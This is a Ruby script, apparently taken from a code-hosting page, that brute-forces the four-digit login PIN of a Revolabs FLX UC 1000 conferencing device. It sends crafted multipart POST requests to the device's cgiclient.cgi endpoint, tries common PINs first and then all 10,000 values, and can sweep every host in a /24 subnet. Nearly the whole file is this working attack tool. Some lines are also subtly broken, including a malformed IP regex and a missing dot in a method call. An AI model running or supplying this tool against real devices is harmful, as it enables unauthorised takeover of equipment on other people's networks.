133 lines
3.8 KiB
Ruby
133 lines
3.8 KiB
Ruby
#!/usr/bin/env ruby
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## bf_login.rb - brute force the login for the revolabs flx UC 1000
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require 'json'
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require 'net/http'
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require 'uri'
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# return a Net::HTTP::Post request suitable for validating +pin+
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def get_request(uri, pin)
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request = Net::HTTP::Post.new(uri.request_uri)
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request['Accept'] = 'application/json, text/plain, */*'
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request['Accept-Encoding'] = 'gzip, deflate'
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request['Accept-Language'] = 'en-US,en;q=0.8'
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request['Connection'] = 'keep-alive'
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request['Content-Type'] = 'multipart/form-data; boundary=---------------------------7da24f2e50046;charset=UTF-8'
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request['Origin'] = sprintf('http://%s', uri.host)
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request['Referer'] = sprintf('http://%s/login', uri.host)
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request['User-Agent'] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36'
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# TODO determine necessity of this, given fuzzing, it's probably unnecessary
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request['Cookie'] = sprintf('_ga=GA1.4.595462255.%s', Time.now.to_i)
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body = Array.new
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body << '-----------------------------7da24f2e50046' # this is a magic number: https://stackoverflow.com/questions/37701805/ie11-content-type-false-in-ie11-it-doesnt-work
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body << 'Content-Disposition: form-data; name="file"; filename="temp.txt"' # TODO should look into what happens when we point at a different file..
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body << 'Content-type: plain/text'
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body << '' # newline
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body << sprintf('<properties sys.validate-password="%s"/>', pin)
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body << '-----------------------------7da24f2e50046'
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request.body = body.join("\r\n")
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request
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end
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# return a Net::HTTP::Response object
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def check_pin(url, pin)
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uri = URI.parse(url)
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http = Net::HTTP.new(uri.host, uri.port)
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request = get_request(uri, pin)
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http.request(request)
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end
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#
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## main()
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address = ARGV.pop
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errors = Array.new
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responses = Array.new
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output = sprintf('%s-logs-%s.%s.%s.json', __FILE__, address, Time.now.to_i, $$)
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if address.nil?
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puts sprintf('usage: %s <ipaddress/range>', __FILE__)
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puts sprintf(' %s 192.168.1.42', __FILE__)
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puts sprintf(' %s 192.168.1.*', __FILE__)
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exit 1
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end
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mode = address.match(/^(?:\d{1,3}){3}\.\d{1,3}$/) ? :ip : :range
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targets = Array.new
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if mode.eql?(:ip)
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targets << address
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elsif mode.eql?(:range)
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base = address.split('.')[0..2].join('.')
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1.upto(254) do |octet|
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targets << sprintf('%s.%s', base, octet)
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end
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end
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_pins = Hash.new
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9999.downto(0).to_a each do |i|
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_pins[i] = 1
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end
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prioritized = [1234, 2546, 1739, 9876, 1425, 4152] # commonly used PINs
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# TODO come up with way to generate patterns - keys that are nearby
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# commonly used PINs that follow a pattern
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0.upto(9) do |i|
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prioritized << i * 1111
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end
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# TODO this is broken, once we delete/add, we change the order.. use a set instead? could go poor man hash style..
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prioritized.each do |p|
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_pins.delete(p)
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end
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pins = [ prioritized, _pins.keys ].flatten # hackery
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targets.each do |target|
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url = sprintf('http://%s/cgi-bin/cgiclient.cgi?CGI.RequestProperties=', target)
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puts sprintf('url: [%s]', url)
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pins.each do |i|
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pin = sprintf('%04d', i)
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begin
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puts sprintf(' trying pin[%s]', pin)
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response = check_pin(url, pin)
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responses << response
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# <properties sys.validate-password="0"></properties>
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if response.body.match(/1/)
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puts sprintf('INFO: found the pin[%s]', pin)
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break
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end
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# this was necessary when testing against a local server, but not against real devices
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#sleep 1 if (i % 100).eql?(0)
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rescue => e
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puts sprintf('ERROR: something bad happened on pin[%s]: [%s:%s]', pin, e.class, e.message)
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errors << { :exception => e, :pin => pin }
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end
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end
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end
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# TODO something better here
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errors.each do |e|
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puts sprintf('ERROR: pin[%s] trace[%s]', e[:pin], e[:exception])
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end
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puts sprintf('ERROR: [%d] total errors', errors.size)
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exit 1 unless errors.empty?
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